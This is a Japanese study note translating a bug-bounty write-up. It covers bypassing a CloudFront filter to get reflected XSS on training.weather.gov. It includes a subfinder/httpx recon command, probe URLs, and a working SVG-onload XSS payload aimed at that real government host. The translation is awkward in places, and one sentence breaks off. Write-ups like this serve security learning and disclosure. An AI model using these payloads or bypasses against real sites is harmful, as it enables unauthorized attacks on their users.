Bypassed the Amazon CloudFront Logic and got XSS at the National Weather Agency of the U.S. から学ぶ

ソース:

medium.com

脆弱性:WAF(CloudFront)

 

訳:

最初に、Subfinder と HTTPX を介して、weather.gov のすべてのライブ サブドメインを収集して。 

 

subfinder -d weather.gov all | httpx -mc 200 | tee weather_live.txt

 

 

それがドメイン [ training.weather.gov ] でした。 このページで GET ベース RXSS を見つけました。 ソースを読むとき、彼らは 1 ~ 6 PCU ページが表示されるロープを使用しただけで。
私が置くとき: 

 

 

そのページには何も見つかりませんでした

 

 

次に、SQL インジェクションを調べようとしましたが、うまくいきませんでした。 Amazon CloudFront を使用しているためで。

 

 

さらに試し。

 

https://training.weather.gov/pds/climate/index.php?unit=1%22%3EHello
https://training.weather.gov/pds/climate/index.php?unit=2%22%3EHello
https://training.weather.gov/pds/climate/index.php?unit=6%22%3EHello
https://training.weather.gov/pds/climate/index.php?unit=7%22%3EHello

 

 

?unit=6 が Amazan CloudFront によって保護されるまで。
ただし、unit=7 を指定すると、ロジックがバイパスされ、画面に反映され。

 

 

論理的な間違いなので予想外だったのでショックで。
次に、XSS ペイロードを挿入しました。どうなるでしょ? 
 

https://training.weather.gov/pds/climate/index.php?unit=7%27%22%3E%3CSvg%20Only=1%20OnLoad=confirm(atob(%22WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgUm95elNlYw==%22))%3E&tab=FUZZ

 

https://training.weather.gov/pds/climate/index.php?unit=7'"><Svg Only=1 OnLoad=confirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgUm95elNlYw=="))>&tab=FUZZ

 

 

ほなほな。